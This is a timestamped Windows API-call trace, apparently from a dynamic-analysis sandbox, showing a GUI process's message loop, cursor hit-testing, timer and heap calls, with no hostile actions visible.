[0182.748] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0182.748] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0182.748] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0182.748] GetCurrentThreadId () returned 0x4e0
[0182.748] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0183.059] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0183.059] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0183.059] GetCapture () returned 0x0
[0183.059] WindowFromPoint (Point=0x28b) returned 0x1013a
[0183.060] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0183.060] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0183.060] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0183.060] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0183.060] GetCurrentThreadId () returned 0x4e0
[0183.060] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0183.372] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0183.372] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0183.372] GetCapture () returned 0x0
[0183.372] WindowFromPoint (Point=0x28b) returned 0x1013a
[0183.372] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0183.372] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0183.372] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0183.372] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0183.372] GetCurrentThreadId () returned 0x4e0
[0183.372] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0183.683] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0183.683] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0183.684] GetCapture () returned 0x0
[0183.684] WindowFromPoint (Point=0x28b) returned 0x1013a
[0183.684] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0183.684] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0183.684] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0183.684] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0183.684] GetCurrentThreadId () returned 0x4e0
[0183.684] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0183.995] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0183.995] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0183.996] GetCapture () returned 0x0
[0183.996] WindowFromPoint (Point=0x28b) returned 0x1013a
[0183.996] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0183.996] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0183.996] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0183.996] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0183.996] GetCurrentThreadId () returned 0x4e0
[0183.996] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0184.307] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0184.307] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0184.308] GetCapture () returned 0x0
[0184.308] WindowFromPoint (Point=0x28b) returned 0x1013a
[0184.308] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0184.308] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0184.308] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0184.308] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0184.308] GetCurrentThreadId () returned 0x4e0
[0184.308] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0184.619] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0184.619] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0184.619] GetCapture () returned 0x0
[0184.620] WindowFromPoint (Point=0x28b) returned 0x1013a
[0184.620] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0184.620] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0184.620] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0184.620] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0184.620] GetCurrentThreadId () returned 0x4e0
[0184.620] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0184.931] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0184.931] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0184.932] GetCapture () returned 0x0
[0184.932] WindowFromPoint (Point=0x28b) returned 0x1013a
[0184.932] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0184.932] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0184.932] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0184.932] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0184.932] GetCurrentThreadId () returned 0x4e0
[0184.932] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0185.243] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0185.243] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0185.243] GetCapture () returned 0x0
[0185.243] WindowFromPoint (Point=0x28b) returned 0x1013a
[0185.243] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0185.244] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0185.244] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0185.244] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0185.244] GetCurrentThreadId () returned 0x4e0
[0185.244] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0185.555] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0185.555] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0185.555] GetCapture () returned 0x0
[0185.555] WindowFromPoint (Point=0x28b) returned 0x1013a
[0185.556] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0185.556] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0185.556] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0185.556] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0185.556] GetCurrentThreadId () returned 0x4e0
[0185.556] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0185.867] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0185.867] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0185.867] GetCapture () returned 0x0
[0185.868] WindowFromPoint (Point=0x28b) returned 0x1013a
[0185.868] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0185.868] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0185.868] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0185.868] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0185.868] GetCurrentThreadId () returned 0x4e0
[0185.868] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0186.179] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0186.179] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0186.179] GetCapture () returned 0x0
[0186.180] WindowFromPoint (Point=0x28b) returned 0x1013a
[0186.180] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0186.180] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0186.180] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0186.180] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0186.180] GetCurrentThreadId () returned 0x4e0
[0186.180] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0186.493] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0186.493] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0186.493] GetCapture () returned 0x0
[0186.493] WindowFromPoint (Point=0x28b) returned 0x1013a
[0186.493] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0186.493] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0186.493] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0186.493] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0186.493] GetCurrentThreadId () returned 0x4e0
[0186.493] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0186.803] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0186.803] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0186.804] GetCapture () returned 0x0
[0186.804] WindowFromPoint (Point=0x28b) returned 0x1013a
[0186.804] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0186.804] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0186.804] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0186.804] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0186.804] GetCurrentThreadId () returned 0x4e0
[0186.804] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0187.115] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0187.115] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0187.116] GetCapture () returned 0x0
[0187.116] WindowFromPoint (Point=0x28b) returned 0x1013a
[0187.116] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0187.116] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0187.116] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0187.116] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0187.116] GetCurrentThreadId () returned 0x4e0
[0187.116] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0187.427] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0187.427] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0187.428] GetCapture () returned 0x0
[0187.428] WindowFromPoint (Point=0x28b) returned 0x1013a
[0187.428] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0187.428] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0187.428] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0187.428] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0187.428] GetCurrentThreadId () returned 0x4e0
[0187.428] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0187.739] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0187.739] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0187.739] GetCapture () returned 0x0
[0187.740] WindowFromPoint (Point=0x28b) returned 0x1013a
[0187.740] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0187.740] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0187.740] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0187.740] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0187.740] GetCurrentThreadId () returned 0x4e0
[0187.740] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0188.051] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0188.051] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0188.052] GetCapture () returned 0x0
[0188.052] WindowFromPoint (Point=0x28b) returned 0x1013a
[0188.052] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0188.052] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0188.052] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0188.052] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0188.052] GetCurrentThreadId () returned 0x4e0
[0188.052] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0188.363] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0188.363] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0188.364] GetCapture () returned 0x0
[0188.364] WindowFromPoint (Point=0x28b) returned 0x1013a
[0188.364] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0188.364] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0188.364] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0188.364] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0188.364] GetCurrentThreadId () returned 0x4e0
[0188.364] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0188.675] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0188.675] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0188.676] GetCapture () returned 0x0
[0188.676] WindowFromPoint (Point=0x28b) returned 0x1013a
[0188.676] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0188.676] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0188.676] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0188.676] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0188.676] GetCurrentThreadId () returned 0x4e0
[0188.676] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0188.987] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0188.988] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0188.988] GetCapture () returned 0x0
[0188.988] WindowFromPoint (Point=0x28b) returned 0x1013a
[0188.988] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0188.988] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0188.988] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0188.988] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0188.988] GetCurrentThreadId () returned 0x4e0
[0188.988] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0189.299] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0189.299] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0189.299] GetCapture () returned 0x0
[0189.300] WindowFromPoint (Point=0x28b) returned 0x1013a
[0189.300] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0189.300] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0189.300] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0189.300] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0189.300] GetCurrentThreadId () returned 0x4e0
[0189.300] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0189.611] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0189.611] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0189.612] GetCapture () returned 0x0
[0189.612] WindowFromPoint (Point=0x28b) returned 0x1013a
[0189.612] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0189.612] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0189.612] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0189.612] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0189.612] GetCurrentThreadId () returned 0x4e0
[0189.612] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0189.923] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0189.923] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0189.924] GetCapture () returned 0x0
[0189.924] WindowFromPoint (Point=0x28b) returned 0x1013a
[0189.924] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0189.924] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0189.924] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0189.924] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0189.924] GetCurrentThreadId () returned 0x4e0
[0189.924] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0190.235] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0190.235] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0190.236] GetCapture () returned 0x0
[0190.236] WindowFromPoint (Point=0x28b) returned 0x1013a
[0190.236] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0190.236] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0190.236] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0190.236] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0190.236] GetCurrentThreadId () returned 0x4e0
[0190.236] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0190.547] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0190.547] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0190.547] GetCapture () returned 0x0
[0190.548] WindowFromPoint (Point=0x28b) returned 0x1013a
[0190.548] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0190.548] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0190.548] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0190.548] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0190.548] GetCurrentThreadId () returned 0x4e0
[0190.548] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0190.859] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0190.859] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0190.860] GetCapture () returned 0x0
[0190.860] WindowFromPoint (Point=0x28b) returned 0x1013a
[0190.860] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0190.860] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0190.860] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0190.860] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0190.860] GetCurrentThreadId () returned 0x4e0
[0190.860] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0191.171] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0191.171] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0191.171] GetCapture () returned 0x0
[0191.172] WindowFromPoint (Point=0x28b) returned 0x1013a
[0191.172] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0191.172] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0191.172] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0191.172] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0191.172] GetCurrentThreadId () returned 0x4e0
[0191.172] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0191.483] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0191.483] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0191.484] GetCapture () returned 0x0
[0191.484] WindowFromPoint (Point=0x28b) returned 0x1013a
[0191.484] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0191.484] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0191.484] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0191.484] PtInRect (lprc=0x1cf3f0, pt=0x251) returned 1
[0191.484] GetCurrentThreadId () returned 0x4e0
[0191.484] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0191.795] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0191.795] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0191.795] GetCapture () returned 0x0
[0191.796] WindowFromPoint (Point=0x1d) returned 0x100f2
[0191.796] IsChild (hWndParent=0x1013a, hWnd=0x100f2) returned 0
[0191.796] GetMessageTime () returned 115269
[0191.796] GetMessagePos () returned 0x221001d
[0191.796] KillTimer (hWnd=0x10136, uIDEvent=0x2005) returned 1
[0191.796] GetCapture () returned 0x0
[0191.796] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5cc | out: lpPoint=0x1cf5cc) returned 1
[0191.796] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0191.797] GetCurrentThreadId () returned 0x4e0
[0191.797] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0191.797] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0191.797] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0191.797] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0191.797] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0191.797] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0191.797] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0191.797] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0191.798] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0191.798] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0191.798] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0191.798] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0191.798] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x2a3, wParam=0x0, lParam=0x0, plResult=0x1cf6c4 | out: plResult=0x1cf6c4) returned 0x1
[0191.798] NtdllDefWindowProc_W () returned 0x0
[0191.798] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0191.798] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0201.687] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0201.687] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0201.687] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0201.687] PtInRect (lprc=0x1cf5d0, pt=0x341) returned 1
[0201.687] GetCurrentThreadId () returned 0x4e0
[0201.688] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0201.688] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0201.688] GetMessageTime () returned 115269
[0201.688] GetMessagePos () returned 0x221001d
[0201.688] GetCapture () returned 0x0
[0201.688] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0201.688] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0201.688] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0201.688] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0201.688] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0201.688] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0201.688] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0201.688] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0201.688] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
